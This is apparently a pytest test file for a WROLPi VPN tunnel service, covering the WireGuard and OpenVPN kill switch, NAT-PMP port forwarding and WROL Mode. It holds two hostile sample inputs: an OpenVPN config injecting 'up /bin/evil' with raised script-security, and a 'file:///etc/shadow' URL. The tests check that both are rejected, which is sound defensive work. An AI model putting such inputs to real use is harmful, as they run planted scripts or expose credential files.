monkeypatch.setattr(tunnel.Tunnel, 'alive', lambda self: 'vpn0' in system.links)
monkeypatch.setattr(tunnel.Tunnel, 'connected', lambda self: 'vpn0' in system.links)
monkeypatch.setattr(tunnel.Tunnel, 'check_public_ip', lambda self: None)
return system
def read_status() -> dict:
return json.loads((tunnel.RUN_DIR / tunnel.STATUS_FILE).read_text())
class TestTunnel:
def make_tunnel(self, media, tmp_path) -> tunnel.Tunnel:
t = tunnel.Tunnel(media, tunnel.RUN_DIR, tmp_path / 'resolv.conf')
t.start()
return t
def test_starts_locked_down_and_stays_down_while_disabled(self, media, tmp_path, fake_system):
t = self.make_tunnel(media, tmp_path)
t.step()
assert read_status()['state'] == 'disabled'
assert fake_system.rulesets() == [tunnel.build_ruleset(UPLINK, [])]
assert 'vpn0' not in fake_system.links
def test_tunnel_comes_up_behind_the_kill_switch(self, media, tmp_path, fake_system):
(media / 'config/vpn/wireguard.conf').write_text(WIREGUARD)
write_endpoints(tunnel.RUN_DIR, WIREGUARD, {'vpn.example.com': ['203.0.113.5']})
write_settings(media, enabled=True, config_file='vpn/wireguard.conf')
t = self.make_tunnel(media, tmp_path)
t.step()
endpoints = [Endpoint('203.0.113.5', 51820, 'udp')]
assert fake_system.rulesets()[-1] == tunnel.build_ruleset(UPLINK, endpoints)
# The kill switch is in place before the tunnel exists, and its server is routed around the tunnel.
kill_switch = max(i for i, call in enumerate(fake_system.calls) if call[0] == 'nft')
server_route = fake_system.index(('ip', '-4', 'route', 'replace', '203.0.113.5/32', 'via', '172.18.0.1'))
link = fake_system.index(('ip', 'link', 'add', 'vpn0', 'type', 'wireguard'))
default = fake_system.index(('ip', 'route', 'replace', '0.0.0.0/1', 'dev', 'vpn0'))
assert kill_switch < server_route < link < default
assert ('ip', '-6', 'route', 'replace', '::/1', 'dev', 'vpn0') in fake_system.calls
assert ('ip', 'address', 'add', '10.2.0.2/32', 'dev', 'vpn0') in fake_system.calls
assert ('ip', 'link', 'set', 'dev', 'vpn0', 'mtu', '1380', 'up') in fake_system.calls
assert (tmp_path / 'resolv.conf').read_text() == 'nameserver 10.2.0.1\n'
# The private key is only on disk while `wg setconf` reads it.
assert not (tunnel.RUN_DIR / 'wireguard.conf').exists()
status = read_status()
assert status['state'] == 'connected'
assert status['kind'] == 'wireguard'
assert status['dns'] == ['10.2.0.1']
# Nothing changed: the tunnel is left alone.
calls = len(fake_system.calls)
t.step()
assert len(fake_system.calls) == calls
def test_turning_off_closes_the_kill_switch(self, media, tmp_path, fake_system):
(media / 'config/vpn/wireguard.conf').write_text(WIREGUARD)
write_endpoints(tunnel.RUN_DIR, WIREGUARD, {'vpn.example.com': ['203.0.113.5']})
write_settings(media, enabled=True, config_file='vpn/wireguard.conf')
t = self.make_tunnel(media, tmp_path)
t.step()
write_settings(media, enabled=False, config_file='vpn/wireguard.conf')
t.step()
assert 'vpn0' not in fake_system.links
assert ('ip', '-4', 'route', 'del', '203.0.113.5/32') in fake_system.calls
assert fake_system.rulesets()[-1] == tunnel.build_ruleset(UPLINK, [])
assert read_status()['state'] == 'disabled'
def test_a_failed_tunnel_leaves_nothing_open(self, media, tmp_path, fake_system, monkeypatch):
(media / 'config/vpn/wireguard.conf').write_text(WIREGUARD)
write_endpoints(tunnel.RUN_DIR, WIREGUARD, {'vpn.example.com': ['203.0.113.5']})
write_settings(media, enabled=True, config_file='vpn/wireguard.conf')
t = self.make_tunnel(media, tmp_path)
real_run = fake_system.run
def failing_run(*cmd, input_=None):
if cmd[:2] == ('wg', 'setconf'):
raise tunnel.TunnelError('wg setconf failed: Invalid key')
return real_run(*cmd, input_=input_)
monkeypatch.setattr(tunnel, 'run', failing_run)
t.step()
status = read_status()
assert status['state'] == 'error'
assert 'Invalid key' in status['error']
assert 'vpn0' not in fake_system.links
assert fake_system.rulesets()[-1] == tunnel.build_ruleset(UPLINK, [])
def test_waiting_for_server_lookup(self, media, tmp_path, fake_system):
(media / 'config/vpn/wireguard.conf').write_text(WIREGUARD)
write_settings(media, enabled=True, config_file='vpn/wireguard.conf')
t = self.make_tunnel(media, tmp_path)
t.step()
status = read_status()
assert status['state'] == 'waiting'
assert 'vpn.example.com' in status['error']
assert fake_system.rulesets() == [tunnel.build_ruleset(UPLINK, [])]
def test_openvpn_config_is_private_and_run_without_scripts(self, media, tmp_path, fake_system, monkeypatch):
text = 'client\nremote 198.51.100.7 1194\nup /bin/evil\nscript-security 3\n'
(media / 'config/vpn/openvpn.ovpn').write_text(text)
write_settings(media, enabled=True, config_file='vpn/openvpn.ovpn')
t = self.make_tunnel(media, tmp_path)
class FakeOpenVPN:
def __init__(self, cmd):
self.cmd = cmd
self.connected = __import__('threading').Event()
# OpenVPN brings up the device, logs the pushed DNS, then that it is connected.
fake_system.links.add('vpn0')
self.dns = ['10.8.0.1']
self.connected.set()
def poll(self):
return None
def stop(self):
fake_system.links.discard('vpn0')
monkeypatch.setattr(tunnel, 'OpenVPNProcess', FakeOpenVPN)
monkeypatch.setattr(tunnel, 'interface_addresses', lambda interface: ['10.8.0.6/24'])
monkeypatch.setattr(tunnel.Tunnel, 'alive', lambda self: self.openvpn is not None)
t.step()
cmd = t.openvpn.cmd
# After the config, so they win over it: OpenVPN may run `ip`, never a script.
assert cmd.index('--script-security') > cmd.index('--config')
assert cmd[cmd.index('--script-security') + 1] == '1'
assert '--up' not in cmd
assert cmd[cmd.index('--dev') + 1] == 'vpn0'
assert '--route-noexec' in cmd
config = tunnel.RUN_DIR / tunnel.OPENVPN_CONFIG_FILE
assert stat.S_IMODE(config.stat().st_mode) == 0o600
assert '/bin/evil' not in config.read_text()
assert 'script-security' not in config.read_text()
assert (tmp_path / 'resolv.conf').read_text() == 'nameserver 10.8.0.1\n'
status = read_status()
assert status['state'] == 'connected'
assert status['addresses'] == ['10.8.0.6/24']
def test_public_ip_checked_right_after_boot(self, media, tmp_path, monkeypatch):
"""time.monotonic() counts from boot: a tunnel started in the first minutes of uptime must still check (a "never
checked" of 0.0 looked like a check moments ago)."""
monkeypatch.setattr(tunnel.time, 'monotonic', lambda: 42.0)
t = tunnel.Tunnel(media, tunnel.RUN_DIR, tmp_path / 'resolv.conf')
t.plan = mock.Mock(settings={'public_ip_url': 'https://ip.example.com'})
urlopen = mock.MagicMock()
urlopen.return_value.__enter__.return_value.read.return_value = b'203.0.113.99\n'
monkeypatch.setattr(tunnel.urllib.request, 'urlopen', urlopen)
t.check_public_ip()
assert t.public_ip == '203.0.113.99'
def test_public_ip_must_be_a_web_address_and_an_address(self, media, tmp_path, monkeypatch):
t = tunnel.Tunnel(media, tunnel.RUN_DIR, tmp_path / 'resolv.conf')
t.plan = mock.Mock(settings={'public_ip_url': 'file:///etc/shadow'})
urlopen = mock.MagicMock()
monkeypatch.setattr(tunnel.urllib.request, 'urlopen', urlopen)
t.check_public_ip()
urlopen.assert_not_called()
assert t.public_ip is None
t.plan.settings['public_ip_url'] = 'https://ip.example.com'
t.public_ip_checked = tunnel.NEVER
urlopen.return_value.__enter__.return_value.read.return_value = b'<html>not an address</html>'
t.check_public_ip()
assert t.public_ip is None
t.public_ip_checked = tunnel.NEVER
urlopen.return_value.__enter__.return_value.read.return_value = b'203.0.113.99\n'
t.check_public_ip()
assert t.public_ip == '203.0.113.99'
class TestInstalled:
def test_unit_runs_the_tunnel_in_the_namespace(self):
unit = (REPOSITORY / 'etc/raspberrypios/wrolpi-vpn.service').read_text()
assert 'ExecStartPre=/opt/wrolpi/etc/raspberrypios/wrolpi-vpn-netns.sh up' in unit
assert 'ip netns exec wrolpi-vpn /opt/wrolpi/controller/venv/bin/python /opt/wrolpi/controller/vpn/tunnel.py' \
in unit
assert '--resolv-conf /etc/netns/wrolpi-vpn/resolv.conf' in unit
assert os.access(REPOSITORY / 'etc/raspberrypios/wrolpi-vpn-netns.sh', os.X_OK)
def test_namespace_is_closed_before_it_has_a_way_out(self):
"""The namespace gets a drop-everything kill switch before its route to the host's masquerade, so nothing gets
out before (or if) the tunnel installs its own."""
script = (REPOSITORY / 'etc/raspberrypios/wrolpi-vpn-netns.sh').read_text()
closed = script.index('policy drop')
assert 'table inet wrolpi_vpn {' in script[:closed + 200]
assert closed < script.index('route replace default')
assert closed < script.index('link set "${NAMESPACE_INTERFACE}" up')
# Never replaces the tunnel's own (a restart must not open its forwarded port's rules to everything, nor close
# a working tunnel).
assert 'nft list table inet wrolpi_vpn' in script
def test_torrents_wait_for_the_kill_switch(self):
"""Like the Docker entrypoint: qBittorrent starts only once this run of the tunnel has written its status,
which it does only after installing its kill switch."""
vpn = (REPOSITORY / 'etc/raspberrypios/wrolpi-vpn.service').read_text()
assert vpn.index('ExecStartPre=/bin/rm -f /run/wrolpi-vpn/status.json') < vpn.index('wrolpi-vpn-netns.sh up')
torrent = (REPOSITORY / 'etc/raspberrypios/wrolpi-torrent.service').read_text()
wait = torrent.index('/run/wrolpi-vpn/status.json')
assert wait < torrent.index('ExecStart=/usr/bin/qbittorrent-nox')
assert 'ExecStartPre=' in torrent[torrent.rindex('\n', 0, wait):wait]
def test_units_installed_and_enabled(self):
for script in ('repair.sh', 'pi-gen/stage2/04-wrolpi/03-run-chroot.sh',
'debian-live-config/config/includes.chroot/usr/local/sbin/wrolpi-bootstrap.sh',
'etc/raspberrypios/wrolpi.target'):
assert 'wrolpi-vpn.service' in (REPOSITORY / script).read_text(), script
def test_packages(self):
for packages in ('pi-gen/stage2/04-wrolpi/01-packages-nr',
'debian-live-config/config/package-lists/wrolpi.list.chroot'):
lines = (REPOSITORY / packages).read_text().splitlines()
for package in ('nftables', 'openvpn', 'wireguard-tools'):
assert package in lines, (packages, package)
upgrade = (REPOSITORY / 'scripts/upgrade.sh').read_text()
assert 'nftables openvpn wireguard-tools' in upgrade
def test_docker(self):
dockerfile = (REPOSITORY / 'docker/vpn/Dockerfile').read_text()
assert 'COPY controller/vpn/tunnel.py /app/tunnel.py' in dockerfile
for package in ('nftables', 'openvpn', 'wireguard-tools', 'python3-yaml'):
assert package in dockerfile
compose = yaml.safe_load((REPOSITORY / 'docker-compose.yml').read_text())
vpn = compose['services']['vpn']
assert 'NET_ADMIN' in vpn['cap_add']
assert 'MEDIA_DIRECTORY=/vpn-media' in vpn['environment']
assert '${MEDIA_DIRECTORY:-./test}/config:/vpn-media/config:ro' in vpn['volumes']
assert 'vpn-run:/run/wrolpi-vpn' in vpn['volumes']
assert 'vpn-run:/run/wrolpi-vpn' in compose['services']['controller']['volumes']
def test_standalone(self):
"""The Docker image copies tunnel.py alone, so it imports only the standard library and PyYAML."""
source = (REPOSITORY / 'controller/vpn/tunnel.py').read_text()
imports = {line.split()[1].split('.')[0] for line in source.splitlines()
if line.startswith(('import ', 'from '))}
assert 'controller' not in imports
assert imports - {'yaml'} <= set(__import__('sys').stdlib_module_names)
class FakeNATPMPGateway:
"""A NAT-PMP gateway on localhost which forwards `port`, or answers with `result`."""
def __init__(self, port=51413, result=0, lifetime=60, stray_first=False, answer=True):
import socket
import threading
self.port, self.result, self.lifetime, self.stray_first, self.answer = port, result, lifetime, stray_first, \
answer
self.requests = []
self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.sock.bind(('127.0.0.1', 0))
self.address = self.sock.getsockname()
threading.Thread(target=self.serve, daemon=True).start()
def serve(self):
import struct
while True:
try:
request, client = self.sock.recvfrom(64)
except OSError:
return
self.requests.append(struct.unpack('!BBHHHI', request))
if not self.answer:
continue
op = request[1]
if self.stray_first:
# An answer to some other request comes first; it must be ignored.
self.sock.sendto(struct.pack('!BBHI', 0, 128, 0, 1) + bytes(4), client)
self.sock.sendto(struct.pack('!BBHIHHI', 0, 128 + op, self.result, 1, 0, self.port, self.lifetime), client)
def close(self):
self.sock.close()
@pytest.fixture
def natpmp_gateway(monkeypatch):
gateways = []
def make(**kwargs):
gateway = FakeNATPMPGateway(**kwargs)
gateways.append(gateway)
monkeypatch.setattr(tunnel, 'NATPMP_PORT', gateway.address[1])
return gateway
yield make
for gateway in gateways:
gateway.close()
class TestNATPMP:
def test_map(self, natpmp_gateway):
gateway = natpmp_gateway(port=51413, stray_first=True)
assert tunnel.natpmp_map('127.0.0.1', 'udp') == (51413, 60)
assert tunnel.natpmp_map('127.0.0.1', 'tcp') == (51413, 60)
# As Proton documents (`natpmpc -a 1 0 udp 60`): no internal port, external port 1, 60 seconds.
assert gateway.requests == [(0, 1, 0, 0, 1, 60), (0, 2, 0, 0, 1, 60)]
def test_refused(self, natpmp_gateway):
natpmp_gateway(result=2)
with pytest.raises(tunnel.NATPMPError, match='not authorized'):
tunnel.natpmp_map('127.0.0.1', 'tcp')
def test_no_answer(self, natpmp_gateway):
gateway = natpmp_gateway(answer=False)
with pytest.raises(tunnel.NATPMPError, match='P2P server'):
tunnel.natpmp_request('127.0.0.1', bytes([0, 2]) + bytes(10), timeout=0.05, tries=3)
# Retried.
assert len(gateway.requests) == 3
def test_pushed_gateway(self):
line = "PUSH: Received control message: 'PUSH_REPLY,route-gateway 10.8.0.1,topology subnet'"
assert tunnel.pushed_gateway(line) == '10.8.0.1'
assert tunnel.pushed_gateway('Initialization Sequence Completed') is None
class TestPortForwarding:
@pytest.fixture
def connected_tunnel(self, media, tmp_path, fake_system):
(media / 'config/vpn/wireguard.conf').write_text(WIREGUARD)
write_endpoints(tunnel.RUN_DIR, WIREGUARD, {'vpn.example.com': ['203.0.113.5']})
write_settings(media, enabled=True, config_file='vpn/wireguard.conf', port_forwarding='natpmp')
t = tunnel.Tunnel(media, tunnel.RUN_DIR, tmp_path / 'resolv.conf')
t.start()
return t
def test_forwarded_port_is_renewed_at_half_its_lifetime(self, connected_tunnel, monkeypatch):
calls = []
monkeypatch.setattr(tunnel, 'natpmp_map', lambda gateway, proto: calls.append((gateway, proto)) or (51413, 60))
now = [1000.0]
monkeypatch.setattr(tunnel.time, 'monotonic', lambda: now[0])
connected_tunnel.step()
# Proton's gateway is its DNS server.
assert calls == [('10.2.0.1', 'udp'), ('10.2.0.1', 'tcp')]
assert read_status()['forwarded_port'] == 51413
now[0] += 29
connected_tunnel.step()
assert len(calls) == 2
now[0] += 2
connected_tunnel.step()
assert len(calls) == 4
assert read_status()['forwarded_port'] == 51413
def test_a_changed_port_is_reported(self, connected_tunnel, monkeypatch):
ports = iter([51413, 51413, 60000, 60000])
monkeypatch.setattr(tunnel, 'natpmp_map', lambda gateway, proto: (next(ports), 60))
connected_tunnel.step()
connected_tunnel.port_forwarding_renewed = 0.0
connected_tunnel.step()
assert read_status()['forwarded_port'] == 60000
def test_refused_keeps_the_vpn_up_and_says_why(self, connected_tunnel, monkeypatch):
def refuse(gateway, proto):
raise tunnel.NATPMPError('The VPN refused to forward a port: not authorized')
monkeypatch.setattr(tunnel, 'natpmp_map', refuse)
connected_tunnel.step()
status = read_status()
assert status['state'] == 'connected'
assert status['forwarded_port'] is None
assert status['warnings'] == ['The VPN refused to forward a port: not authorized']
def test_gateway_setting_wins(self, connected_tunnel, media, monkeypatch):
calls = []
monkeypatch.setattr(tunnel, 'natpmp_map', lambda gateway, proto: calls.append(gateway) or (51413, 60))
write_settings(media, enabled=True, config_file='vpn/wireguard.conf', port_forwarding='natpmp',
natpmp_gateway='10.64.0.1')
connected_tunnel.step()
assert set(calls) == {'10.64.0.1'}
def test_only_the_forwarded_port_is_open(self, connected_tunnel, monkeypatch, fake_system):
ports = iter([51413, 51413, 60000, 60000])
monkeypatch.setattr(tunnel, 'natpmp_map', lambda gateway, proto: (next(ports), 60))
connected_tunnel.step()
assert fake_system.rulesets()[-1] == \
'flush set inet wrolpi_vpn listen_ports\nadd element inet wrolpi_vpn listen_ports { 51413 }\n'
# Unchanged: the kill switch is left alone.
count = len(fake_system.rulesets())
connected_tunnel.step()
assert len(fake_system.rulesets()) == count
# A new port replaces the old one.
connected_tunnel.port_forwarding_renewed = 0.0
connected_tunnel.step()
assert fake_system.rulesets()[-1].endswith('listen_ports { 60000 }\n')
def test_refused_port_closes_it(self, connected_tunnel, monkeypatch, fake_system):
monkeypatch.setattr(tunnel, 'natpmp_map', lambda gateway, proto: (51413, 60))
connected_tunnel.step()
def refuse(gateway, proto):
raise tunnel.NATPMPError('refused')
monkeypatch.setattr(tunnel, 'natpmp_map', refuse)
connected_tunnel.port_forwarding_renewed = 0.0
connected_tunnel.step()
assert fake_system.rulesets()[-1] == 'flush set inet wrolpi_vpn listen_ports\n'
def test_wrol_mode_takes_the_tunnel_down(self, connected_tunnel, media, fake_system):
connected_tunnel.step()
assert 'vpn0' in fake_system.links
(media / 'config' / '.wrol_mode').touch()
connected_tunnel.step()
assert 'vpn0' not in fake_system.links
assert fake_system.rulesets()[-1] == tunnel.build_ruleset(UPLINK, [])
status = read_status()
assert status['state'] == 'wrol_mode'
assert 'WROL Mode' in status['error']
# Back up once WROL Mode ends.
(media / 'config' / '.wrol_mode').unlink()
connected_tunnel.step()
assert 'vpn0' in fake_system.links
def test_wrol_mode_in_wrolpi_yaml_takes_the_tunnel_down(self, connected_tunnel, media, fake_system):
"""wrolpi.yaml is the source of truth; the flag file may not have been written (e.g. a hand-edited config
while the API is down)."""
connected_tunnel.step()
assert 'vpn0' in fake_system.links
(media / 'config' / 'wrolpi.yaml').write_text('wrol_mode: true\n')
connected_tunnel.step()
assert 'vpn0' not in fake_system.links
assert read_status()['state'] == 'wrol_mode'
(media / 'config' / 'wrolpi.yaml').write_text('wrol_mode: false\n')
connected_tunnel.step()
assert 'vpn0' in fake_system.links
def test_wrol_mode_in_the_apis_config_directory(self, media, tmp_path, fake_system, monkeypatch):
"""In Docker the Controller's config directory is not the API's; the tunnel also reads the API's, where the
API writes .wrol_mode and wrolpi.yaml."""
api_config = tmp_path / 'api-config'
api_config.mkdir()
monkeypatch.setenv('WROLPI_CONFIG_DIRECTORY', str(api_config))
(media / 'config/vpn/wireguard.conf').write_text(WIREGUARD)
write_endpoints(tunnel.RUN_DIR, WIREGUARD, {'vpn.example.com': ['203.0.113.5']})
write_settings(media, enabled=True, config_file='vpn/wireguard.conf')
t = tunnel.Tunnel(media, tunnel.RUN_DIR, tmp_path / 'resolv.conf')
t.start()
t.step()
assert 'vpn0' in fake_system.links
(api_config / '.wrol_mode').touch()
t.step()
assert 'vpn0' not in fake_system.links
assert read_status()['state'] == 'wrol_mode'
(api_config / '.wrol_mode').unlink()
(api_config / 'wrolpi.yaml').write_text('wrol_mode: true\n')
t.step()
assert read_status()['state'] == 'wrol_mode'
def test_docker_gives_the_tunnel_the_apis_config(self):
compose = yaml.safe_load((REPOSITORY / 'docker-compose.yml').read_text())
vpn = compose['services']['vpn']
assert 'WROLPI_CONFIG_DIRECTORY=/media/wrolpi/config' in vpn['environment']
assert any(v.split(':')[1] == '/media/wrolpi/config' for v in vpn['volumes'] if isinstance(v, str))
def test_unreadable_wrolpi_yaml_is_not_wrol_mode(self, connected_tunnel, media, fake_system):
(media / 'config' / 'wrolpi.yaml').write_text('{not yaml')
connected_tunnel.step()
assert 'vpn0' in fake_system.links
def test_not_asked_unless_natpmp(self, connected_tunnel, media, monkeypatch):
monkeypatch.setattr(tunnel, 'natpmp_map', mock.Mock(side_effect=AssertionError('asked')))
write_settings(media, enabled=True, config_file='vpn/wireguard.conf', port_forwarding='fixed',
forwarded_port=51413)
connected_tunnel.step()
assert read_status()['forwarded_port'] == 51413

View file

1149
controller/vpn/tunnel.py Normal file

File diff suppressed because it is too large Load diff